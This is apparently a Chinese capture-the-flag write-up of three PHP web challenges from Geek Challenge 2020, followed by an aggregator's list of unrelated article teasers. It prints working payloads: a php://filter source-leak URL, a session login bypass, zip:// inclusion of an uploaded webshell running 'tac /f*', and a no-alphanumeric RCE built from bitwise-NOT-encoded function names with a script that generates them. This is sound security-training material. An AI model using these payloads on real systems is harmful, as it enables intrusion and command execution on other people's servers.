极客大挑战2020(部分wp)

Roamphp1-Welcome

在这里插入图片描述
405请求方法不允许,改一下请求方法
在这里插入图片描述
数组绕过,在页面搜索flag即可!本题:就是知道了405是请求方法不允许!

Roamphp2-Myblog(zip协议加文件包含)

在这里插入图片描述
首先进来就是一个博客页面,注意一下url那地方有些可疑,通过page来切换页面估计是文件包含,后缀在后端添加了!用php伪协议把源码给趴下来!

http://3ac4e25d-0f61-46d7-a807-0156c854dee6.node5.buuoj.cn:81/index.php?page=php://filter/convert.base64-encode/resource=login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

同理其它的

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself$logined = true;$_SESSION['status'] = $logined;}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";die();
}
?>

这里把前端的cookie(通过cookie来验证的)给删了然后密码置为空就好了!
在这里插入图片描述
进到后台这里有个文件上传的功能,这里是白名单(也是源码里面写了的我没放出来)没法打文件上传好像。这里就是结合文件包含打zip协议了!

访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

那么我们先压缩我们的php马,然后在把zip改成jpg利用即可!

?page=zip://./assets/img/upload/368d066d6c9103bba3e2e41338d2cad19e2f367b.jpg%231
POST : a=system(“tac /f*”);

本题:隐藏后缀名+如果能上传图片马是可以配合文件包含去打的(突然理解了之前别人说的,图片马要结合文件包含去利用的意思了)!

Roamphp4-Rceme(nb的函数调用)

在这里插入图片描述
vim缓存信息泄露,直接访问.index.php.swp。然后把下载好的文件拖到kali里面,用vim -r index.php.swp进行恢复!得到源码!

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);//获得验证数字
}if(isset($_POST['cmd']) and isset($_POST['code'])){if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){die('<script>alert(\'Captcha error~\');history.back()</script>');}$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);$code = $_POST['cmd'];if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){//修正符:x 将模式中的空白忽略; die('<script>alert(\'Longlone not like you~\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}

简单来说就是:
1.code经过md5加密后的前5个字符要等于session 的code

2.cmd长度不能超过70且不能被正则匹配到

3.匹配括号内的内容替换成空格后结果为;(buhsi,这个正则我看了好久。还是解释一下吧!/[^\s()]+?((?R)?)/就是先匹配非空白字符或者非括号是非贪婪模式然后再加一个递归匹配。

(?R) 是递归引用,表示 整个正则表达式本身。? 表示 前面的 (?R) 是可选的(可以匹配 0 次或 1
次)。这使得递归可以终止(否则会无限递归)。

然后这其实就是无参数rce加无字母数字rce!这里用的是取反,其他用不了,至于为啥,自己想想!
先phpinfo()试一下吧!这里有一点就是不能用(phpinfo)();这种了,因为过不了正则。然后就是在php7中:

[‘phpinfo’][0]()
[‘phpinfo’]{0}()

是和(phpinfo)()一样的效果!是因为短数组语法:[‘phpinfo’]等同于array(‘phpinfo’)传统数组的定义方法。所以[phpinfo][0]();等价于phpinfo();
发现是可以的!!!然后这里我们开始构造命令,我这里就为了方便直接读flag了!
在这里插入图片描述

一些解释:
cmd用的是system(end(getallheads())),就是我手动把ua的位置弄到了最后,这样end就可获取到写在ua里面的命令了!然后一些wp说用next,但是我ua不在第二个元素啊,好像也弄不到第二个!getallheads()函数返回请求头的信息

这里就用var_dump(getallheads());来看看
在这里插入图片描述
最后贴个取反用的脚本吧:

<?php
$a=urlencode(~'system');
echo "[$a]"."[~%FF]";
echo "\n";
$b=urlencode(~'getallheaders');
echo "[$b]"."[~%FF]";
echo "\n";
$c=urlencode(~'end');
echo "[$c]"."[~%FF]";
$d=urldecode('%CF');
echo ~$d;
?>

本题:1,.index.php.swp泄露然后再kali里面用vim -r index.php.swp命令来恢复!
2,md5每次发包后都会变,这是写在源码里面的
3,php7的nb函数调用绕过正则,[phpinfo][0]();等价于phpinfo();
4,取反绕过无字母数字rce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/917642.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/917642.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ESP32 外设驱动开发指南 (ESP-IDF框架)——GPIO篇:基础配置、外部中断与PWM(LEDC模块)应用

目录 一、前言 二、GPIO 2.1 GPIO简介 2.2 GPIO函数解析 2.3 LED驱动 2.4 KEY驱动 三、EXIT 3.1 EXIT简介 3.2 EXIT函数解析 3.3 EXIT驱动 四、LEDC 4.1 PWM原理解析 4.2 ESP32的LED PWM控制器介绍 4.3 LEDC函数解析 4.3.1 SW_PWM 4.3.2 HW_PWM 4.4 LEDC驱动 …

鸿蒙 ArkWeb 加载优化方案详解(2025 最佳实践)

适用平台&#xff1a;HarmonyOS NEXT / API 10 关键词&#xff1a;ArkWeb、WebviewController、NodeController、预加载、预连接、预渲染、性能优化一、前言&#xff1a;为什么必须优化 ArkWeb 加载&#xff1f;在鸿蒙生态中&#xff0c;ArkWeb 是系统级的 Web 容器引擎&#x…

JavaScript案例(乘法答题游戏)

项目概述 使用原生JavaScript实现一个乘法答题游戏&#xff0c;随机生成乘法题目&#xff0c;判断答案正误并记录分数&#xff0c;通过localStorage实现分数持久化存储。 核心功能需求 随机题目生成&#xff1a;动态生成1-10之间的乘法题答题交互&#xff1a;输入答案并提交…

EXCEL删除数据透视表

wps版 点击红框内任意区域 在顶部工具栏选择删除Excel 版 1.点击红框内任意区域2. 点击Enable Selection,再按住键盘上的Delete键&#xff0c;记住不是Backspace键

Python 飞机大战:从零开发经典 2D 射击游戏

引言&#xff1a;重温经典游戏开发 飞机大战作为经典的 2D 射击游戏&#xff0c;承载了许多人的童年回忆。使用 Python 和 Pygame 开发这样一款游戏不仅能重温经典&#xff0c;更是学习游戏开发绝佳的实践项目。本文将带你从零开始&#xff0c;一步步实现一个完整的飞机大战游…

Vue项目中实现浏览器串口通信:Web Serial API完整指南

前言 在现代Web开发中&#xff0c;随着IoT设备和硬件交互需求的增长&#xff0c;浏览器与串口设备的通信变得越来越重要。本文将详细介绍如何在Vue项目中使用Web Serial API实现串口通信功能&#xff0c;为开发者提供一个完整的解决方案。 技术背景 传统方案的局限性 传统的串口…

Github怎么只下载某个目录文件?(Git稀疏检出、GitZip for Github插件、在线工具DownGit)Github下载目录

文章目录**方法一&#xff1a;使用 Git 的稀疏检出&#xff08;Sparse Checkout&#xff09;**&#xff08;略&#xff09;**步骤&#xff1a;****方法二&#xff1a;使用 SVN 下载特定目录**&#xff08;略&#xff09;**步骤&#xff1a;****方法三&#xff1a;使用浏览器插件…

把“多视图融合、深度传感”组合在一起,今天分享3篇3D传感技术干货

关注gongzhonghao【计算机sci论文精选】3D传感技术起源于工业领域高精度测量需求&#xff0c;早期以激光三角测量、结构光等技术为主&#xff0c;主要服务于制造业的零部件检测与形变分析。随着消费电子智能化升级&#xff0c;苹果iPhone X的Face ID将结构光技术推向大众市场&a…

dubbo源码之消费端启动的高性能优化方案

一、序言 dubbo作为一款最流行的服务治理框架之一,在底层做了很多的优化,比如消费端在启动的时候做了很多性能提升的设计,接下来从连接的层面、序列化功能的层面进行介绍下。 二、优化点 1、消费端在服务启动的时候会调用DubboProtocol类的protocolBindingRefer方法来创建…

zookeeper常见命令和常见应用

前言 ZooKeeper自带一个交互式命令行工具&#xff08;通过zkCli.sh或zkCli.cmd启动&#xff09;&#xff0c;提供了一系列操作ZooKeeper数据节点的命令 下面我们对zookeeper常用命令进行介绍 使用prettyZoo命令行窗口 使用prettyZoo客户端链接zookeeper 打开zookeeper命令…

前端异步任务处理总结

一、异步任务常见场景网络请求&#xff1a;fetch()、axios 等 API 调用定时操作&#xff1a;setTimeout、setInterval用户交互&#xff1a;事件监听回调资源加载&#xff1a;图片/脚本动态加载Web Workers&#xff1a;后台线程计算二、核心处理方案1. Promise&#xff08;ES6&a…

机器学习第三课之逻辑回归(二)LogisticRegression

目录 简介 一.分类评估⽅法 1.混淆矩阵 2.精确率(Precision)与召回率(Recall) 3.F1-score 4.分类评估报告api 2.正则化惩罚 3.⽋拟合和过拟合 4.K折交叉验证 5.代码分析 简介 接上一篇博客最后 机器学习第二课之逻辑回归&#xff08;一&#xff09;LogisticRegres…

基于ELK Stack的实时日志分析与智能告警实践指南

基于ELK Stack的实时日志分析与智能告警实践指南 一、业务场景描述 在生产环境中&#xff0c;服务实例数量众多&#xff0c;日志量激增&#xff0c;传统的文本 grep 或 SSH 登录方式已无法满足实时监控与故障定位需求。我们需要搭建一个可扩展、低延迟的日志收集与分析平台&…

需求变更过程中出现的团队资源冲突问题处理的一些小技巧

​​一、资源冲突的典型场景​​ ​​技术资源争夺​​:多个需求同时需要同一开发人员或技术专家支持 ​​人力资源过载​​:突发需求导致团队成员工作量超负荷(如同时处理3个紧急需求) ​​设备/环境冲突​​:测试服务器资源不足或特定开发工具许可证被占用 ​​跨团队协…

基于Matlab图像处理的液晶显示器表面缺陷检测与分类研究

本课题设计并实现了一种基于 MATLAB 的图像缺陷检测系统&#xff0c;系统集成中值滤波、对比度增强、梯度检测与区域分析等图像处理技术&#xff0c;能够对图像中的点状、线状和块状缺陷进行有效识别与分类。用户可通过图形用户界面&#xff08;GUI&#xff09;导入待测图像&am…

prometheus应用demo(一)接口监控

目录 完整代码&#xff08;纯Cursor生成&#xff09; 1、pom 2、配置和启动类 3、自定义指标bean 4、上报 5、业务代码 一、统计API请求&#xff08;次数、响应码等&#xff09; 1、统计总数 关键代码&#xff1a; &#xff08;1&#xff09;自定义指标DTO &#xff0…

逃离智能家居“孤岛”!用 Home Assistant 打造你的全屋互联自由王国

文章目录&#x1f914; 痛点暴击&#xff1a;智能家居的“巴别塔困境”&#x1f6e0;️ Home Assistant 是个啥&#xff1f;简单粗暴版定义&#x1f50d; 硬核拆解&#xff1a;Home Assistant 的魅力之源&#x1f680; 上车指南&#xff1a;如何开始你的 HA 之旅&#xff1f;第…

数据结构:如何判断一个链表中是否存在环(Check for LOOP in Linked List)

目录 初始思考&#xff1a;什么叫“链表有环”&#xff1f; ❌ 第一种直接想法&#xff08;失败&#xff09;&#xff1a;我们是不是能“记住走过的节点”&#xff1f; 那我们换一个思路&#xff1a;我们能否只用两个指针来检测环&#xff1f; 第一步&#xff1a;定义两个指…

深入理解Java的SPI机制,使用auto-service库优化SPI

文章目录一、简介二、使用1、服务提供者&#xff08;或者第三方公共&#xff09;&#xff1a;定义接口2、服务提供者&#xff1a;定义实现类3、服务提供者&#xff1a;注册服务4、构建服务提供者jar包5、客户端&#xff1a;使用 ServiceLoader 来加载服务三、源码分析1、源码2、…

PPT自动化 python-pptx - 10 : 表格(tables)

在日常工作中&#xff0c;我们经常需要制作包含表格的 PowerPoint 演示文稿&#xff0c;以此清晰展示数据或文本信息。手动制作不仅耗时&#xff0c;当数据更新时还需重复操作&#xff0c;效率低下。而 python-pptx 库为我们提供了自动化操作 PowerPoint 表格的可能。本文将详细…